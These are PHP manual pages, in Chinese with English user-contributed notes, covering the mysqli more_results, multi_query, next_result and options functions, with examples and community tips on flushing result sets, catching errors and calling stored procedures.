检查上一次调用 mysqli_multi_query() 函数之后，是否还有更多的查询结果集。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

如果上一次调用 mysqli_multi_query() 函数之后， 还有更多的结果集（包含错误）可以读取，返回 true，否则返回 false。

示例

参见 mysqli_multi_query()。

参见

  • mysqli_multi_query() - 在数据库上执行一个或多个查询
  • mysqli_next_result() - 为读取 multi_query 执行之后的下一个结果集做准备
  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


在数据库上执行一个或多个查询

  • ? mysqli::more_results
  • mysqli::next_result ?
  • PHP Manual
  • mysqli
  • 在数据库上执行一个或多个查询

mysqli::multi_query

mysqli_multi_query

(PHP 5, PHP 7, PHP 8)

mysqli::multi_query -- mysqli_multi_query — 在数据库上执行一个或多个查询

说明

面向对象风格

public mysqli::multi_query(string $query): bool

过程化风格

mysqli_multi_query(mysqli $mysql, string $query): bool

执行一个或多个由分号分隔的查询。

Warning

Security warning: SQL injection

If the query contains any variable input then parameterized prepared statements should be used instead. Alternatively, the data must be properly formatted and all strings must be escaped using the mysqli_real_escape_string() function.

对数据库的单个调用中，查询是异步发送，但数据库会按顺序处理。 mysqli_multi_query() 在将控制返回给 PHP 之前等待第一个查询完成。MySQL 服务器将会按照顺序处理下一个查询。一旦下一个结果就绪，MySQL 将等待 PHP 的下一次 mysqli_next_result() 执行。

推荐使用 do-while 处理多个查询。在所有查询完成并将结果返回给 PHP 之前，连接一直处于繁忙状态。在处理完成所有查询之前，不能在同一连接上发出其它语句。要继续处理顺序中的下一个查询，请使用 mysqli_next_result()。如果下一个结果还没准备好，mysqli 就会等待 MySQL 服务器的响应。要检查是否有更多结果，使用 mysqli_more_results()。

对于产生查询结果集的查询，比如 SELECT, SHOW, DESCRIBE 或 EXPLAIN，mysqli_use_result() 或 mysqli_store_result() 可用于检索结果集。对于不产生结果集的查询（比如受影响的行数），可以使用相同函数查询。

Tip

为存储过程执行 CALL 语句可以产生多个结果集。如果存储过程包含 SELECT 语句，结果集将按照执行过程中的顺序返回。通常，调用者不会知道过程将返回多少个结果集，必须准备好检索多个结果。该过程的最终结果是不包含结果集的 status 结果。status 表示过程是成功还是发生错误。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

query

包含要执行查询的字符串。多个查询必须用分号分隔。

返回值

如果第一个 SQL 语句就失败了，返回 false。要从其它语句中检索后续错误，必须先调用 mysqli_next_result()。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::multi_query() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* 批量执行查询 */
$mysqli->multi_query($query);
do {
/* store the result set in PHP */
if ($result = $mysqli->store_result()) {
while ($row = $result->fetch_row()) {
printf("%s\n", $row[0]);
}
}
/* print divider */
if ($mysqli->more_results()) {
printf("-----------------\n");
}
} while ($mysqli->next_result());

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* 批量执行查询 */
mysqli_multi_query($link, $query);
do {
/* store the result set in PHP */
if ($result = mysqli_store_result($link)) {
while ($row = mysqli_fetch_row($result)) {
printf("%s\n", $row[0]);
}
}
/* print divider */
if (mysqli_more_results($link)) {
printf("-----------------\n");
}
} while (mysqli_next_result($link));

以上示例的输出类似于：

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

参见

  • mysqli_query() - 对数据库执行查询
  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_next_result() - 为读取 multi_query 执行之后的下一个结果集做准备
  • mysqli_more_results() - 检查批量查询中是否还有查询结果

User Contributed Notes

ashteroid 08-Aug-2020 10:57
To get the affected/selected row count from all queries

$q = "UPDATE `Review` SET `order` = 1 WHERE id = 600;" // aff 1
       .  "UPDATE `Review` SET `order` = 600 WHERE id = 1;" //aff 1
    . "SELECT 0;" //for testing, aff rows == -1
                    ;

    $affcnt = 0;
    $rowcnt = 0;

    $res = $db->multi_query($q);
    if($res == false)
        Lib::throw( $q . "\n[" . $db->errno . "]\n" . $db->error . "\n" );
    do
    {
        $affcnt += $db->affected_rows;
        if( isset($res->num_rows) )
            $rowcnt += $res->num_rows;
    }
    while( $db->more_results() && $res = $db->next_result() );
    //IMPORTANT: call more_results First!, THEN next_result to get new data.

    return $res;
ASchmidt at Anamera dot net 31-Mar-2018 12:40
Multi-queries open the potential for a SQL injection.

The often cited "fallback" loop:

<?php
while ( $db->more_results() and $db->next_result() ) {
  $rs = $db->use_result();
  if( $rs instanceof \mysqli_result ) {
      $rs->free();
}
?>

certainly will avoid the dreaded error 2014 "Commands out of sync; you can't run this command now" error. However, that technique will completely disregard the fact that any excess result sets are a likely indication of an infiltrated system.

Instead, it may be wise to tightly manage the correct number of expected, individual result sets and throw an exception of more are received.

However, it's important to understand that any closing comment (which might have been appended as one defense against command appending) will result in an EXTRA, EMPTY result set.

Example:

SELECT SQL_CALC_FOUND_ROWS * FROM `table` LIMIT 10; SELECT FOUND_ROWS(); --

will produce THREE result sets:

#1 - the ten data rows,
#2 - the overall row count,
#3 - an empty result set, where: FALSE === $db->use_result(), even though it had been TRUE === ($db->more_results() and $db->next_result() ) .
Stjepan Brbot 27-Jul-2016 11:12
This example shows how to read data from multiple stored procedures. Here I have two stored procedures proc1() and proc2() and retrieve their data into 2D array:

<?php

$db=new mysqli(...);

$sql="CALL proc1(...); CALL proc2(...);";

$procs=[]; //outer array for resultsets (tables)
$cols=[]; //inner array for columns (fields)

if($db->multi_query($sql))
{
  do
  {
    $db->next_result();
    if($rst=$db->use_result())
    {
      while($row=$rst->fetch_row())
      {
          $cols[]=$row[0]; //fetch 1st column value
          $cols[]=$row[1]; //fetch 2nd column value
      }
      $procs[]=$cols; //add cols to procedures array
    }
  }
  while($this->db->more_results());
}

?>
jesper at hermandsen dot dk 29-Dec-2014 01:46
If you're importing a sql-file with triggers, functions, stored procedures and other stuff, you'll might be using DELIMITER in MySQL.
Notice: This function assumes that all delimiters are on it's own line, and that "DELIMITER" are in all caps.

<?php
function mysqli_multi_query_file($mysqli, $filename) {
    $sql = file_get_contents($filename);
    // remove comments
    $sql = preg_replace('#/\*.*?\*/#s', '', $sql);
    $sql = preg_replace('/^-- .*[\r\n]*/m', '', $sql);
    if (preg_match_all('/^DELIMITER\s+(\S+)$/m', $sql, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
        $prev = null;
        $index = 0;
        foreach ($matches as $match) {
            $sqlPart = substr($sql, $index, $match[0][1] - $index);
            // move cursor after the delimiter
            $index = $match[0][1] + strlen($match[0][0]);
            if ($prev && $prev[1][0] != ';') {
                $sqlPart = explode($prev[1][0], $sqlPart);
                foreach ($sqlPart as $part) {
                    if (trim($part)) { // no empty queries
                        $mysqli->query($part);
                    }
                }
            } else {
                if (trim($sqlPart)) { // no empty queries
                    $mysqli->multi_query($sqlPart);
                    while ($mysqli->next_result()) {;}
                }
            }
            $prev = $match;
        }
        // run the sql after the last delimiter
        $sqlPart = substr($sql, $index, strlen($sql)-$index);
        if ($prev && $prev[1][0] != ';') {
            $sqlPart = explode($prev[1][0], $sqlPart);
            foreach ($sqlPart as $part) {
                if (trim($part)) {
                    $mysqli->query($part);
                }
            }
        } else {
            if (trim($sqlPart)) {
                $mysqli->multi_query($sqlPart);
                while ($mysqli->next_result()) {;}
            }
        }
    } else {
        $mysqli->multi_query($sql);
        while ($mysqli->next_result()) {;}
    }
}
?>
levani0101 at yahoo dot com 05-Jul-2014 10:37
Please note that there is no need for the semicolon after the last query. That wasted more than hour of my time...
vicky dot gonsalves at outlook dot com 05-Mar-2014 10:29
Following code can be used to resolve
mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

        $query = "SELECT SOME_COLUMN FROM SOME_TABLE_NAME;";
        $query .= "SELECT SOME_OTHER_COLUMN FROM SOME_TABLE_NAME";
        /* execute multi query */
        if (mysqli_multi_query($this->conn, $query)) {
            $i = true;
            do {
                /* store first result set */
                if ($result = mysqli_store_result($this->conn)) {
                    while ($row = mysqli_fetch_row($result)) {
                        printf("%s\n", $row[0]);
                    }
                    mysqli_free_result($result);
                }
                /* print divider */
                if (mysqli_more_results($this->conn)) {
                    $i = true;
                    printf("-----------------\n");
                } else {
                    $i = false;
                }
            } while ($i && mysqli_next_result($this->conn));
        }
skunkbad 10-Jan-2014 08:13
I appreciate the advice from crmccar at gmail dot com regarding the proper way to check for errors, but I would get an error with his/her code. I fixed it by changing the code a little:

<?php
$sql = file_get_contents( 'sql/test_' . $id . '_data.sql');

$query_array = explode(';', $sql);

// Run the SQL
$i = 0;
if( $this->mysqli->multi_query( $sql ) )
{
    do {
        $this->mysqli->next_result();

        $i++;
    }
    while( $this->mysqli->more_results() );
}

if( $this->mysqli->errno )
{
    die(
        '<h1>ERROR</h1>
        Query #' . ( $i + 1 ) . ' of <b>test_' . $id . '_data.sql</b>:<br /><br />
        <pre>' . $query_array[ $i ] . '</pre><br /><br />
        <span style="color:red;">' . $this->mysqli->error . '</span>'
    );
}
?>
Ivan Gabriele 07-Dec-2013 04:47
To be able to execute a $mysqli->query() after a $mysqli->multi_query() for MySQL > 5.3, I updated the code of jcn50 by this one :

<?php
    // WORKING CODE:
    $mysqli->multi_query(" Many SQL queries ; "); // OK

    while ($mysqli->next_result()) // flush multi_queries
    {
        if (!$mysqli->more_results()) break;
    }

    $mysqli->query(" SQL statement #1 ; ") // now executed!
    $mysqli->query(" SQL statement #2 ; ") // now executed!
    $mysqli->query(" SQL statement #3 ; ") // now executed!
    $mysqli->query(" SQL statement #4 ; ") // now executed!
?>
keksov at gmail dot com 17-Aug-2013 06:29
If you want to create a table with triggers, procedures or functions in one multiline query you may stuck with a error -
#1064 - You have an error in your SQL syntax; xxx corresponds to your MySQL server version for the right syntax to use near 'DELIMITER' at line 1

The solution is very simple - don't use DELIMITER keyword at all! So, instead of :

DELIMITER |
CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT|
DELIMITER ;

just use :

CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT;

For more information read answers at StackOverflow for question #5311141

http://stackoverflow.com/questions/5311141/how-to-execute-mysql-command-delimiter
Lubaev K 22-Jul-2013 09:15
Use generator.
PHP 5.5.0
<?php
// Quick multiQuery func.
function multiQuery( mysqli $mysqli, $query ) {
    if ($mysqli->multi_query( $query )) {
    do {
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                foreach ($row as $key => $value) yield $key => $value;
            }
            $result->free();
        }
    } while( $mysqli->more_results() && $mysqli->next_result() );
    }
}

$query = "OPTIMIZE TABLE `question`;" .
         "LOCK TABLES `question` READ;" .
         "SELECT * FROM `question` WHERE `questionid`=2;" .
         "SELECT * FROM `question` WHERE `questionid`=7;" .
         "SELECT * FROM `question` WHERE `questionid`=8;" .
         "SELECT * FROM `question` WHERE `questionid`=9;" .
         "SELECT * FROM `question` WHERE `questionid`=11;" .
         "SELECT * FROM `question` WHERE `questionid`=12;" .
         "UNLOCK TABLES;" .
         "TRUNCATE TABLE `question`;";

$mysqli = new mysqli('localhost', 'user', 'pswd', 'dbnm');
$mysqli->set_charset("cp1251");

// result
foreach ( multiQuery($mysqli, $query) as $key => $value ) {
    echo $key, $value, PHP_EOL;
}

?>
Good luck!
miqrogroove at gmail dot com 17-Jan-2013 09:40
Here are more details about error checking and return values from multi_query().  Testing shows that there are some mysqli properties to check for each result:

affected_rows
errno
error
insert_id
warning_count

If error or errno are not empty then the remaining queries did not return anything, even though error and errno will appear to be empty if processing further results is continued.

Also note that get_warnings() will not work with multi_query().  It can only be used after looping through all results, and it will only get the warnings for the last one of the queries and not for any others.  If you need to see or log query warning strings then you must not use multi_query(), because you can only see the warning_count value.
jlong at carouselchecks dot com 24-Sep-2012 07:56
Getting "Error: Commands out of sync; you can't run this command now" after running a multi-query? Make sure you've cleared out the queue of results.

Here's what I've used to discard all subsequent results from a multi-query:

<?php
while($dbLink->more_results() && $dbLink->next_result()) {
    $extraResult = $dbLink->use_result();
    if($extraResult instanceof mysqli_result){
        $extraResult->free();
    }
}

?>
crmccar at gmail dot com 12-Oct-2011 06:40
I'd like to reinforce the correct way of catching errors from the queries executed by multi_query(), since the manual's examples don't show it and it's easy to lose UPDATEs, INSERTs, etc. without knowing it.

$mysqli->next_result() will return false if it runs out of statements OR if the next statement has an error. Therefore, it's important to check for errors when the loop ends. Also, I believe it's useful to know when and where the loop broke, so consider the following code:

<?php
$statements = array("INSERT INTO tablename VALUES ('1', 'one')", "INSERT INTO tablename VALUES ('2', 'two')");
if ($mysqli->multi_query(implode(';', $statements))) {
    $i = 0;
    do {
        $i++;
    } while ($mysqli->next_result());
}
if ($mysqli->errno) {
    echo "Batch execution prematurely ended on statement $i.\n";
    var_dump($statements[$i], $mysqli->error);
}
?>

The IF statement on the multi_query() call checks the first result, because next_result() starts at the second.
Anonymous 20-May-2011 07:25
If your second or late query returns no result or even if your query is not a valid SQL query, more_results(); returns true in any case.
jcn50 09-Mar-2011 05:09
WATCH OUT: if you mix $mysqli->multi_query and $mysqli->query, the latter(s) won't be executed!

<?php
// BAD CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
$mysqli->query(" SQL statement #1 ; ") // not executed!
$mysqli->query(" SQL statement #2 ; ") // not executed!
$mysqli->query(" SQL statement #3 ; ") // not executed!
$mysqli->query(" SQL statement #4 ; ") // not executed!
?>

The only way to do this correctly is:

<?php
// WORKING CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
while ($mysqli->next_result()) {;} // flush multi_queries
$mysqli->query(" SQL statement #1 ; ") // now executed!
$mysqli->query(" SQL statement #2 ; ") // now executed!
$mysqli->query(" SQL statement #3 ; ") // now executed!
$mysqli->query(" SQL statement #4 ; ") // now executed!
?>
luka8088 at owave dot net 20-Sep-2010 10:17
if you don't iterate through all results you get "server has gone away" error message ...

to resolve this, in php 5.2 it is enough to use

<?php
  // ok for php 5.2
  while ($mysqli->next_result());
?>

to drop unwanted results, but in php 5.3 using only this throws

mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

so it should be replaced with

<?php
  // ok for php 5.3
  while ($mysqli->more_results() && $mysqli->next_result());
?>

I also tried but failed:

<?php

  // can create infinite look in some cases
  while ($mysqli->more_results())
    $mysqli->next_result();

  // also throws error in some cases
  if ($mysqli->more_results())
    while ($mysqli->next_result());

?>
Shawn Pyle 15-Apr-2010 09:29
Be sure to not send a set of queries that are larger than max_allowed_packet size on your MySQL server. If you do, you'll get an error like:
Mysql Error (1153): Got a packet bigger than 'max_allowed_packet' bytes

To see your MySQL size limitation, run the following query: show variables like 'max_allowed_packet';

or see http://dev.mysql.com/doc/refman/5.1/en/packet-too-large.html
Miles 22-Jun-2009 10:47
You can use prepared statements on stored procedures.

You just need to flush all the subsequent result sets before closing the statement... so:

$mysqli_stmt = $mysqli->prepare(....);

... bind, execute, bind, fetch ...

while($mysqli->more_results())
{
    $mysqli->next_result();
    $discard = $mysqli->store_result();
}

$mysqli_stmt->close();

Hope that helps :o)
jparedes at gmail dot com 27-Aug-2008 09:05
It's very important that after executing mysqli_multi_query you have first process the resultsets before sending any another statement to the server, otherwise your
socket is still blocked.

Please note that even if your multi statement doesn't contain SELECT queries, the server will send result packages containing errorcodes (or OK packet) for single statements.
undefined(AT)users(DOT)berlios(DOT)de 04-Mar-2008 04:13
mysqli_multi_query handles MySQL Transaction on InnoDB's :-)

<?php

$mysqli  = mysqli_connect( "localhost", "owner", "pass", "db", 3306, "/var/lib/mysql/mysql.sock" );

$QUERY = <<<EOT
START TRANSACTION;
SELECT @lng:=IF( STRCMP(`main_lang`,'de'), 'en', 'de' )
FROM `main_data` WHERE  ( `main_activ` LIKE 1 ) ORDER BY `main_id` ASC;
SELECT `main_id`, `main_type`, `main_title`, `main_body`, `main_modified`, `main_posted`
FROM `main_data`
WHERE ( `main_type` RLIKE "news|about" AND `main_lang` LIKE @lng AND `main_activ` LIKE 1 )
ORDER BY `main_type` ASC;
COMMIT;
EOT;

$query = mysqli_multi_query( $mysqli, $QUERY ) or die( mysqli_error( $mysqli ) );

if( $query )
{
  do {
    if( $result = mysqli_store_result( $mysqli ) )
    {
      $subresult = mysqli_fetch_assoc( $result );
      if( ! isset( $subresult['main_id'] ) )
        continue;

      foreach( $subresult AS $k => $v )
      {
        var_dump( $k , $v );
      }
    }
  } while ( mysqli_next_result( $mysqli ) );
}

mysqli_close( $mysqli );

?>
mjmendoza at grupzero dot tk 29-Nov-2006 10:47
I was developing my own CMS and I was having problem with attaching the database' sql file. I thought mysqli_multi_query got bugs where it crashes my MySQL server. I tried to report the bug but it showed that it has duplicate bug reports of other developers. To my surprise, mysqli_multi_query needs to bother with result even if there's none.

I finally got it working when I copied the sample and removed somethings. Here is what it looked liked

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
   printf("Connect failed: %s\n", mysqli_connect_error());
   exit();
}

$query  = "CREATE TABLE....;...;... blah blah blah;...";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = mysqli_store_result($link)) {
           //do nothing since there's nothing to handle
           mysqli_free_result($result);
       }
       /* print divider */
       if (mysqli_more_results($link)) {
           //I just kept this since it seems useful
           //try removing and see for yourself
       }
   } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

bottom-line: I think mysql_multi_query should only be used for attaching a database. it's hard to handle results from 'SELECT' statements inside a single while loop.
info at ff dot net 08-May-2006 04:02
Note that you need to use this function to call Stored Procedures!

If you experience "lost connection to MySQL server" errors with your Stored Procedure calls then you did not fetch the 'OK' (or 'ERR') message, which is a second result-set from a Stored Procedure call. You have to fetch that result to have no problems with subsequent queries.

Bad example, will FAIL now and then on subsequent calls:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);
?>

Working example:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);

if(mysqli_more_results($this->sqlLink))
  while(mysqli_next_result($this->sqlLink));
?>

Of course you can do more with the multiple results then just throwing them away, but for most this will suffice. You could for example make an "sp" function which will kill the 2nd 'ok' result.

This nasty 'OK'-message made me spend hours trying to figure out why MySQL server was logging warnings with 'bad packets from client' and PHP mysql_error() with 'Connection lost'. It's a shame the mysqli library does catch this by just doing it for you.


为读取 multi_query 执行之后的下一个结果集做准备

  • ? mysqli::multi_query
  • mysqli::options ?
  • PHP Manual
  • mysqli
  • 为读取 multi_query 执行之后的下一个结果集做准备

mysqli::next_result

mysqli_next_result

(PHP 5, PHP 7, PHP 8)

mysqli::next_result -- mysqli_next_result — 为读取 multi_query 执行之后的下一个结果集做准备

说明

面向对象风格

public mysqli::next_result(): bool

过程化风格

mysqli_next_result(mysqli $mysql): bool

mysqli_multi_query() 函数执行之后，为读取下一个结果集做准备，然后可以使用 mysqli_store_result() 或 mysqli_use_result() 检索。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

成功时返回 true， 或者在失败时返回 false。如果下一条语句导致错误，也返回 false，这跟 mysqli_more_results() 不同。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

参阅 mysqli_multi_query()。

参见

  • mysqli_multi_query() - 在数据库上执行一个或多个查询
  • mysqli_more_results() - 检查批量查询中是否还有查询结果
  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

admin at travian-utils dot com 28-Oct-2009 11:24
Stored procedures few rowset example:

some_file.php
<?php
function proc() {
  global $global;
  $db_connect_list = array('site');
  SQLinit($db_connect_list);
  if(isset($global['error'])){return;}
  SQL('CALL `procedure`();');
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLclose($db_connect_list);
}
?>

config.php
<?php
  $global['sys']['db']['site'] = array('host'=>'localhost', 'user'=>'site', 'pass'=>'');
?>

engine.php
<?php
function SQLinit($array_list){
  global $global;
  foreach($array_list as $set){
    if(!$global['sys']['db'][$set]['connect'] = mysqli_connect(
        $global['sys']['db'][$set]['host'],
        $global['sys']['db'][$set]['user'],
        $global['sys']['db'][$set]['pass'])){
      $global['error']['code'] = 500;
      $global['error']['text'] = 'Database not avaliable';
      $w=fopen('error.log','a+');
      fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
      fwrite($w,'errno: '.mysqli_connect_errno()."\r\n");
      fwrite($w,'error: '.mysqli_connect_error()."\r\n");
      fclose($w);
      return;
    }
    if(!isset($global['sys']['default_connect']))
      $global['sys']['default_connect'] = $global['sys']['db'][$set]['connect'];
    SQL('SET NAMES \'utf8\' COLLATE \'utf8_unicode_ci\';', $global['sys']['db'][$set]['connect']);
    SQL('SET CHARACTER SET \'utf8\';', $global['sys']['db'][$set]['connect']);
    SQL('SET character_set_connection = \'utf8\';', $global['sys']['db'][$set]['connect']);
  }
}
function mTime(){
  list($usec, $sec) = explode(" ", microtime());
  return ((float)$usec+(float)$sec);
}
function SQL($sql, $connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  while ($connect->next_result()) $connect->store_result();
  $begin=mTime();
  $global['result']=mysqli_query($connect, $sql);
  $end=mTime();
  $global['sys']['time_sql']+=$end-$begin;
  $error=mysqli_error($connect);
  if($error!=''){
    $global['error']['code'] = 502;
    $global['error']['text'] = 'SQL error';
    $global['error']['sql'] = true;
    $w=fopen('error.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'errno: '.mysqli_errno($connect)."\r\n");
    fwrite($w,'error: '.$error."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }else{
    $w=fopen('sql.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }
}

function SQLnext($connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  $connect->next_result();
  $global['result'] = $connect->store_result();
}

function SQLclose($array_list){
  global $global;
  foreach($array_list as $set){
    mysqli_close($global['sys']['db'][$set]['connect']);
  }
}
?>
pawel dot barcik at gmail dot com 21-Jun-2008 05:26
this function returns FALSE when you have an error in your syntax in one of your queries, so be carefull with this type of construction when tracking errors:

<?php

//error in the second sub query
$result = $db->multi_query("select * from news; seleeeeeeect id from news; update news set title='new title' where id= 12 ");

//code inside object class
$this->_db = new Mysqli($host, $user, $password, $database, $port, $socket);

do {
    $result = $this->_db->store_result();
    $this->_resultMulti[] = $result;
    $this->_errnoMulti[] = $this->_db->errno;

    if(is_object($result)) {
        $result->free_result();
    }

} while($this->_db->next_result());

?>

in this construction all you have in the $this->_errnoMulti is :

array(1) {
  [0]=>
  int(0)
}

which means that there are no errors if you are not checking how many queries are executed!


设置选项

  • ? mysqli::next_result
  • mysqli::ping ?
  • PHP Manual
  • mysqli
  • 设置选项

mysqli::options

mysqli_options

(PHP 5, PHP 7, PHP 8)

mysqli::options -- mysqli_options — 设置选项

说明

面向对象风格

public mysqli::options(int $option, string|int $value): bool

过程化风格

mysqli_options(mysqli $mysql, int $option, string|int $value): bool

用于设置连接的扩展选项，这些选项可以改变这个连接的行为。

如果要对多个选项进行设置，可以多次调用此函数来。

mysqli_options() 需要在
mysqli_init() 函数之后、
mysqli_real_connect() 函数之前调用。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

option

要进行设置的选项，可以是下列值中的某一项：

有效的选项
名称 | 描述
MYSQLI_OPT_CONNECT_TIMEOUT | 连接超时设置，以秒为单位
MYSQLI_OPT_READ_TIMEOUT | 命令执行超时秒数，自 PHP 7.2.0 起可用。
MYSQLI_OPT_LOCAL_INFILE | 启用或禁用 LOAD LOCAL INFILE
MYSQLI_INIT_COMMAND | 连接到 MySQL 服务器后要执行的命令
MYSQLI_SET_CHARSET_NAME | 设置的默认字符集
MYSQLI_READ_DEFAULT_FILE | 从指定的文件中读取选项，而不是使用 my.cnf 中的选项。mysqlnd 不支持。
MYSQLI_READ_DEFAULT_GROUP | 从 my.cnf 或者 MYSQL_READ_DEFAULT_FILE 指定的文件中 读取指定的组中的选项。mysqlnd 不支持。
MYSQLI_SERVER_PUBLIC_KEY | SHA-256 认证模式下，要使用的 RSA 公钥文件。
MYSQLI_OPT_NET_CMD_BUFFER_SIZE | 内部命令/网络缓冲大小， 仅在 mysqlnd 驱动下有效。
MYSQLI_OPT_NET_READ_BUFFER_SIZE | 以字节为单位，读取 MySQL 命令报文时候的块大小， 仅在 mysqlnd 驱动下有效。
MYSQLI_OPT_INT_AND_FLOAT_NATIVE | 将整数和浮点数类型的列转换成 PHP 的数值类型， 仅在 mysqlnd 驱动下有效。
MYSQLI_OPT_SSL_VERIFY_SERVER_CERT | 是否验证服务器证书。

value

选项值。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

参见 mysqli_real_connect()。

注释

Note:

MySQLnd 总是使用服务器的默认字符集。此字符集在连接握手／认证时发送，并被 mysqlnd 使用。

Libmysqlclient 使用 my.cnf 中的默认字符集或者由在调用 mysqli_init() 之后，mysqli_real_connect() 之前先调用 mysqli_options() 来指定。

参见

  • mysqli_init() - 初始化 MySQLi 并返回用于 mysqli_real_connect() 的对象
  • mysqli_real_connect() - 建立一个 MySQL 服务器连接

User Contributed Notes

Guy Sartorelli 18-May-2023 02:17
The `MYSQLI_OPT_SSL_VERIFY_SERVER_CERT` seems to always fail, with `options()` always returning false.
Use the `MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT` flag with `real_connect()` instead.
puneetsharam9 at hotmail dot com 08-Sep-2022 05:35
With Objective Approach
init of mysqli is depreciated from 8.1 it seem so
You could have to use an empty __construct()
So You have proper int and float

class DB extends \mysqli {
   private function __construct(
           private $_user = DBUSER,
           private $_pass = DBPWD,
           private $_dbName = DBNAME,
           private $_dbHost = DBHOST,
   ) {
      parent::__construct();
      parent::options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
      parent::real_connect($this->_dbHost, $this->_user, $this->_pass, $this->_dbName);
      }
   }
Procedural Man 27-Jan-2022 02:59
Although it is not explained on the manual, MYSQLI_OPT_SSL_VERIFY_SERVER_CERT is an option only valid for mysqlnd and will raise an error if used with mysqli.
php at darkain dot com 20-Jul-2018 10:14
There is an undocumented option: MYSQLI_OPT_READ_TIMEOUT. This is similar to MYSQLI_OPT_CONNECT_TIMEOUT in theory, but has a slightly different application. Connection timeout only specifies the wait time for the initial TCP connection. Once that is created, the timeout no longer applies. Read timeout, however, is from the time the TCP connection is created until the first packet of actual data is received. There are instances where a TCP connection can be established, but the MySQL server stalls indefinitely, preventing execution from ever returning to PHP. Specifying a read timeout alleviates this condition, whereas connect timeout wouldn't.

If the MYSQLI_OPT_READ_TIMEOUT constant isn't defined, it is still supported on versions where that isn't the case. You can define it yourself in older PHP versions with the following code.

<?php
if (!defined('MYSQLI_OPT_READ_TIMEOUT')) {
    define ('MYSQLI_OPT_READ_TIMEOUT', 11);
}
?>

You can then use read timeout the same way you could a connect timeout as follows. Please note that since these are two different timeout values for two different parts of the entire connection process, the timeouts do stack (eg: 10 seconds connect timeout + 10 seconds read timeout = maximum possible timeout of 20 seconds)

<?php
//create the object
$connection = mysqli_init();

//specify the connection timeout
$connection->options(MYSQLI_OPT_CONNECT_TIMEOUT, 10);

//specify the read timeout
$connection->options(MYSQLI_OPT_READ_TIMEOUT, 10);

//initiate the connection to the server, using both previously specified timeouts
$connection->real_connect('server', 'user', 'pass', 'database');
?>
king at bobfish dot org 14-Feb-2008 12:05
Example on using mysqli_options to increase size of max_allowed_packet for working with big blobs.

function dbConnect()
{
   $user = 'jomama';
   $pass = 'cartoon';
   $dbName = 'LifeCycle';
   $host = 'localhost';

   $mysqli = mysqli_init();
   mysqli_options($mysqli,MYSQLI_READ_DEFAULT_GROUP,
                                    "max_allowed_packet=50M");
   mysqli_real_connect($mysqli,$host, $user, $pass,$dbName)
                  or die ('<P>Unable to connect</P>');

   return $mysqli;
}
fluppy 07-Mar-2007 02:46
